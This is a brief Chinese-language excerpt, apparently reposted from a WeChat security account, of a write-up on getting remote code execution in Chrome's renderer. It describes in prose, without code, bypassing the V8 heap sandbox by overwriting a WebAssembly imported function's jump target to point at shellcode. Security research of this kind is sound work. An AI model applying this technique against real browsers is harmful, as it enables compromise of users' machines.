由于 v8 最近实现了 v8 堆沙箱,因此在 v8 堆中获取任意内存读写权限不足以实现代码执行。为了实现代码执行,我覆盖了存储在 v8 堆中的 WebAssembly 导入函数的跳转目标。通过将跳转目标重写为 shell 代码的位置,我可以通过调用 WebAssembly 模块中的导入函数来执行任意代码。
原文始发于微信公众号(OSINT研习社):克隆攻击:利用重复的对象属性在 Chrome 渲染器中获取 RCE
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论